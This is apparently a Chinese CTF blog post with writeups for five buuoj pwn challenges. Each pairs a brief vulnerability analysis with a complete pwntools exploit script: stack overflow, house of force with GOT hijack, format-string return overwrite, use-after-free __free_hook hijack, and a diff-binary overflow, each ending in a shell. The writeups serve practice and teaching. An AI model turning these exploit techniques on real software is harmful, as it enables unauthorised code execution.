buuoj Pwn writeup 126-130

126 护网杯_2018_gettingstart

保护
在这里插入图片描述在这里插入图片描述

程序就这么点,逻辑也简单。
然后有个栈溢出。
然后就修改修改就好了嘛,把v7改成0x7fffffffffffffff,v8改成0.1

exp

from pwn import*

r = remote("node3.buuoj.cn", 28793)
#r = process("./126")

payload = 'a' * 0x18 + p64(0x7fffffffffffffff) + p64(0x3FB999999999999A)
r.recvuntil("But Whether it starts depends on you.\n")

r.send(payload)

r.interactive()

127 bcloud_bctf_2016

保护
在这里插入图片描述菜单
add
在这里插入图片描述
平平无奇吧,结构也懒得写了。

show
在这里插入图片描述没有show

edit
在这里插入图片描述平平无奇吧……

free
在这里插入图片描述清理的到位。

这个题问题出在它的初始化里面。

他有两个初始化函数。
在这里插入图片描述

在这里插入图片描述这两个函数里面都是一个问题。

在这里插入图片描述两个函数里面一样的都是这个input函数,问题就出在了这个函数里面。
函数会有截断,会在最后舔一个\x00,为的是截断后面的strcpy函数。
在这里插入图片描述
我们先拿第一个来进行分析。
当我们在S里面输入满64个字节之后,截断会在第65个字节的地方,也就是v2里面,但是呢,因为后面malloc,就导致堆的地址会把那个截断覆盖掉了。
所以在后面strcpy的时候往chunk里面复制的时候会把堆地址顺路复制过去,就造成了堆地址的泄露。

在这里插入图片描述

第二个函数里面我们还是这个问题,开的数组v3是不存在这个问题的,s存在这个问题,s对应的chunk是最后开的,它下面就是topchunk,我们strcpy复制的时候首先先往那个chunk中把s里面的64个字节放在chunk里面,s下来是v2的值,放在top chunk的pre_size,然后top chunk里面就会放v3数组的值,所以我们只要提前往v3那个数组里面放入0xffffffff,就可以修改top chunk的size的大小。

然后现在我们有什么条件,首先我们可以修改top chunk的size大小为无穷大,然后我们可以自由申请chunk大小,所以很自然的想到可以用house of force来解决这个题。

那么我们的具体利用过程就是先利用house of force直接申请到存放chunk指针的那里,然后就像unlink attack一样,对指针进行修改,泄露地址,劫持got表,就好了。

exp

#coding:utf8
from pwn import *
 
r = process('./127')
#r = remote('node3.buuoj.cn',27729)

context.log_level = "debug"

elf = ELF('./127')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']
heap_array_addr = 0x0804B120

#libc = ELF("./32/libc-2.23.so")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_i386/libc.so.6")

gdb.attach(r)

r.sendafter('Input your name:','a'*0x40)
r.recvuntil('a'*0x40)
heap_addr = u32(r.recv(4))

r.sendafter('Org:','a'*0x40)
r.sendlineafter('Host:',p32(0xffffffff))
top_chunk_addr = heap_addr + 0xD0

print 'top_chunk_addr=',hex(top_chunk_addr)
 
def add(size,content):
   r.sendlineafter('option--->>','1')
   r.sendlineafter('Input the length of the note content:',str(size))
   r.sendafter('Input the content:',content)
 
def edit(index,content):
   r.sendlineafter('option--->>','3')
   r.sendlineafter('Input the id:',str(index))
   r.sendafter('Input the new content:',content)
 
def delete(index):
   r.sendlineafter('option--->>','4')
   r.sendlineafter('Input the id:',str(index))

offset = heap_array_addr - top_chunk_addr - 0x10
add(offset,'\n') #0
add(0x18,'\n') #1

#这里后面加个回车是为了截断输入。 

edit(1,p32(0) + p32(free_got) + p32(puts_got) + p32(0x0804B130) + '/bin/sh\x00')
edit(1,p32(puts_plt) + '\n')
delete(2)
r.recv(1)
puts_addr = u32(r.recv(4))

libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']

print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)

edit(1,p32(system_addr) + '\n')

delete(3)
 
r.interactive()

128 xman_2019_format

保护
在这里插入图片描述
申请个chunk,写点啥。
在这里插入图片描述
然后带着这个点啥进入我们的关键代码
在这里插入图片描述
在这里插入图片描述然后有system 有/bin/sh

有明显的格式化字符串漏洞,但是首先要看一下重点函数。

char *strtok(char *str, const char *delim)
str – 要被分解成一组小字符串的字符串。
delim – 包含分隔符的 C 字符串。
该函数返回被分解的第一个子字符串,如果没有可检索的字符串,则返回一个空指针。

举个栗子
这是来自菜鸟的一个例子

#include <string.h>
#include <stdio.h>
 
int main () {
   char str[80] = "This is - www.runoob.com - website";
   const char s[2] = "-";
   char *token;
   
   /* 获取第一个子字符串 */
   token = strtok(str, s);
   
   /* 继续获取其他的子字符串 */
   while( token != NULL ) {
      printf( "%s\n", token );
    
      token = strtok(NULL, s);
   }
   printf("\n%s\n",str);
   return(0);
}

它的输出是

This is 
 www.runoob.com 
 website

This is 

很能说明问题。

函数strtok()实际上修改了有str1指向的字符串。每次找到一个分隔符后,一个空(NULL)就被放到分隔符处,函数用这种方法来连续查找该字符串。

每一个输出都是一个格式化字符串漏洞,所以这就是无限格式化字符串漏洞。中间用管道符隔开就好。

但是要注意输入长度有限制,就最多0x37

exp

#coding:utf8
from pwn import *
 
#sh = process('./xman_2019_format')
sh = remote('node3.buuoj.cn',28885)
elf = ELF('./128')
backdoor = 0x080485AB
#假设$14栈的数据低一字节为0x98,则爆破,成功率1/16,实际上几率更高
stack_guess = 0x98
 
#修改$18为$30-0x4C,也就是函数返回地址值
payload = '%' + str(stack_guess-0x4C) + 'c%10$hhn|'
#在栈上$31布置printf的got低2字节地址
payload += '%' + str(backdoor & 0xFFFF) + 'c%18$hn|'
sh.sendafter('...',payload)
 
sh.interactive()

129 gyctf_2020_document

保护
在这里插入图片描述
菜单堆。

add
在这里插入图片描述
结构比较简单。

show
在这里插入图片描述
information只有112个大,但是这里可以输出128个字节。
是不是多少有点问题。

edit
在这里插入图片描述
平平无奇,就是先换sex,再重新输入信息。

free
在这里插入图片描述没有清理野指针。uaf。

利用思路
1、首先我们将libc的地址泄露出来,方法还是比较简单的,我们就利用uaf,先申请到chunk,释放,挂到unsorted bin,然后输出。
2、我们要通过uaf,利用他的双层关系,想办法能够劫持第一层的小chunk,因为我们劫持之后修改它为free_hook,就可以通过edit来劫持free_hook。那我们要做是先申请并释放一个unsorted的chunk,关键在于free的时候只free这个大的chunk,所以申请下一个document的时候会首先把unsorted bin的chunk切割,留下一个0x20的给新的document,我们利用这个,让切割的chunk刚好是我们通过edit0能控制的地方。
3、然后我们就可以通过edit0来对那个小的chunk进行任意谢就达到了目的。
4、通过free带有“/bin/sh”的chunk,从而来get shell。

from pwn import *

r = remote("node3.buuoj.cn", 26104)
#r = process("./129")

context.log_level = 'debug'

elf = ELF("./129")

#libc = ELF('/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6')
libc = ELF("./64/libc-2.23.so")

def add(name, sex, content):
    r.sendlineafter("Give me your choice : \n", '1')
    r.sendafter("input name\n", name)
    r.sendafter("input sex\n", sex)
    r.sendafter("input information\n", content)

def delete(index):
    r.sendlineafter("Give me your choice : \n", '4')
    r.sendlineafter("Give me your index : \n", str(index))

def show(index):
    r.sendlineafter("Give me your choice : \n", '2')
    r.sendlineafter("Give me your index : \n", str(index))

def edit(index, content):
    r.sendlineafter("Give me your choice : \n", '3')
    r.sendlineafter("Give me your index : \n", str(index))
    r.sendafter("Are you sure change sex?\n", 'N\n')
    r.sendafter("Now change information\n", content)


add('p'*8, 'W', 'c'*0x70)#0
add('p'*8, 'W', 'c'*0x70)#1
delete(0)
show(0)

main_arena_xx = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
malloc_hook = ((main_arena_xx & 0xfffffffffffff000) + (libc.sym["__malloc_hook"] & 0xfff))
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook=libc.symbols['__free_hook'] + libc_base
system_addr = libc.sym['system'] + libc_base

print hex(libc_base)
print hex(free_hook)
print hex(system_addr)

add('/bin/sh\x00', 'W', 'c'*0x70)#2
add('/bin/sh\x00', 'W', 'c'*0x70)#3
payload=(p64(0) * 2 + p64(free_hook-0x10)+p64(0x1)).ljust(0x70,b'\x00')
edit(0,payload)

edit(3,p64(system_addr).ljust(0x70,'\x00') )

#gdb.attach(r)

delete(2)

r.interactive()

130 [BJDCTF 2nd]diff

ssh链接

ssh -p 28948 ctf@node3.buuoj.cn

在这里插入图片描述
里面有个diff文件,有点大,我们考虑把它下载下来。

scp -P 28947 ctf@node3.buuoj.cn:/home/ctf/diff /home/wuangwuang/Desktop/

scp协议是个什么东西?

SCP协议:全称Secure Copy协议,是用来定义“本地机器和远端机器之间”或者“远端机器和远端机器之间”传输文件的过程的协议。

然后就下载了个diff文件。

在这里插入图片描述逻辑简单。

里面addr长度为120,read读了128字节,很明显的栈溢出,有8个字节的溢出,buf1有可执行的权限,我们只要获取到buf1的地址并覆盖它,即可getshell

所以我们先写东西去flag2

python -c参数,支持执行单行命令/脚本。

python -c “print ‘a’*120+’\x5e\x91\x04\x08\x5e\x91\x04\x08’” >flag2

用的是python的命令,直接把字符串写进去。
然后执行diff命令去比较。
拿到flag。

cd /tmp
/tmp$ python -c "print 'a'*120+'\x5e\x91\x04\x08\x5e\x91\x04\x08'" >flag2
/tmp$ cd ~
./diff flag /tmp/flag2
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值